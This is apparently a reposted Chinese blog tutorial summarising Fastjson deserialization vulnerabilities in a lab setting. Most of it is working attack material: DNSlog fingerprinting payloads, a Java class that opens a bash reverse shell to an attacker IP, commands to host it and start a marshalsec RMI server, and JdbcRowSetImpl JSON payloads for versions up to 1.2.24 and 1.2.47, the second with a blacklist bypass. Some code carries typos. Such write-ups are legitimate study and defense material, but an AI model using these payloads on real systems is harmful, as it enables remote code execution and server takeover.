框架/组件漏洞系列2:fastjson漏洞汇总

在这里插入图片描述

一、Fastjson 概况

1、fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

优点:

  1. FastJson数度快,无论序列化和反序列化,都是当之无愧的fast
  2. 功能强大(支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum)
  3. 零依赖(没有依赖其它任何类库)

2、漏洞概况

  1. Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
  2. Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
  3. Fstjson < 1.2.60 远程拒绝服务漏洞
  4. Fastjson <=1.2.68 反序列化远程代码执行漏洞

3、fastjson 指纹识别

  • 在json中添加键值对,如果响应没有报错,则说明使用的可能是fastJSON,因为 jackson的键值对只能少不能多,如果多了,则多多少少会报错。

  • 通过DNS回显的方式检测后端是否使用了fastjson.(不一定有效,在不知道是否是fastjson,或者不知道其具体版本的情况下只能盲打)

  {
    
    "@type":"java.net.Inet4Address", "val":"dnslog"}
  {
    
    "@type":"java.net.Inet6Address", "val":"dnslog"}
  {
    
    "@type":"java.net.InetSocketAddress"{
    
    "address":, "val":"dnslog"}}
  {
    
    "@type":"com.alibaba.fastjson.JSONObject", {
    
    "@type": "java.net.URL", "val":"dnslog"}}""}
  {
    
    {
    
    "@type":"java.net.URL", "val":"dnslog"}:"aaa"}
  Set[{
    
    "@type":"java.net.URL", "val":"dnslog"}]
  Set[{
    
    "@type":"java.net.URL", "val":"dnslog"}
  {
    
    {
    
    "@type":"java.net.URL", "val":"dnslog"}:0}

二、Fastjson<1.2.24远程代码执行

1、漏洞概况

漏洞原理简介: fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响版本: fastjson <=1.2.24

漏洞分析: https://xz.aliyun.com/t/8979

2、漏洞复现

  1. 访问漏洞环境:http://your_ip:8090, 成功返回一个json数据,说明漏洞环境搭建成功。
    在这里插入图片描述

  2. 创建一个java文件:shell.java ,内容如下:

    import java.lang.Runtime;
    import java.lang.Process;
    public class TouchFile {
          
          
        static {
          
          
            try {
          
          
                Runtime rt = Runtime.getRuntime();
                String[] commands = {
          
          "bash", "-i",">&","/dev/tcp/192.168.17.132/7777","0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor()
            } catch (Exception e) {
          
          
                // do nothing
            }
        }
    }
    
  3. 执行编译命令,得到shell.class ;并使用python 开启临时http文件服务,默认监听8080端口。

    编译命令:javac shell.java

    开启文件服务命令: python -m SimpleHTTPServer 8080

  4. 然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类shell.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.17.132:8080/#shell" 9999
    

  1. 使用burp ,在漏洞页面进行抓包,发送以下POST数据:

    Content-Type: application/json
    
    {
          
          
        "b":{
          
          
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.17.132:9999/shell",
            "autoCommit":true
        }
    }
    
  2. 成功反弹shell。
    在这里插入图片描述

三、Fastjson<=1.2.47远程代码执行

1、漏洞概况

在2019年6月,fastjson 被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

基本原理: checkAutoType黑名单中可绕过

影响范围: Fastjson<=1.2.47

漏洞分析: https://www.sohu.com/a/438893775_750628

2、漏洞复现

  1. 照常,访问漏洞环境,使用burpsuite抓个包,添加一点东西检测是否是fastjson,如下,使用json数据中添加一个键值对,使用POST发送,正常返回,说明是fastjson。
    在这里插入图片描述

  2. 直接开始复现,首先构造一个恶意java类,执行命令javac shell.java编译成class类。

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class shell {
          
          
       static {
          
           
            try {
          
          
                Runtime rt = Runtime.getRuntime(); 
                String[] commands = {
          
          "/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/port 0>&1"};
                Process pc = rt.exec(commands);
                 pc.waitFor();
            } catch (Exception e) {
          
          
    		}
    	}
    }
    
  3. 开启http file server 和 ldap server.

    开启http file server : python -m SimpleHTTPServer 8080

    开启 ldap server : ava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.17.132:8080/#shell" 9999

  4. 发送poc,poc如下:(记得改content-type)

    {
          
           
    "a":{
          
           
    "@type":"java.lang.Class", 
    "val":"com.sun.rowset.JdbcRowSetImpl" 
    }, 
    "b":{
          
          
     "@type":"com.sun.rowset.JdbcRowSetImpl",
     "dataSourceName":"rmi://x.x.x.x:9999/shell",
     "autoCommit":true
    } } 
    
  5. 成功getshell.
    在这里插入图片描述

四、Fastjson <=1.2.68 反序列化远程代码执行

1、漏洞概况

漏洞简介:

这个新漏洞在 1.2.68 及之前版本的 autotype 关闭的情况下仍然可以绕过限制反序列化,相比 1.2.47 版本的漏洞来讲这个版本的漏洞还是有一些限制的,例如 1.2.47 是可以绕过黑名单的限制的,而这个漏洞则无法绕过黑名单,并且需要类实现 AutoCloseable 接口。目前主要的 JNDI gadget 已经进了黑名单,还不允许反序列化类实现了 ClassLoader、DataSource、RowSet 接口,这就导致了绝大部分的 JNDI gadget 无法利用。

影响范围: Fastjson <=1.2.68 ,fastjson sec 版本 < sec10

漏洞分析: https://www.anquanke.com/post/id/208104

2、漏洞复现

待更新…

猜你喜欢

转载自blog.csdn.net/qq_45590334/article/details/121723316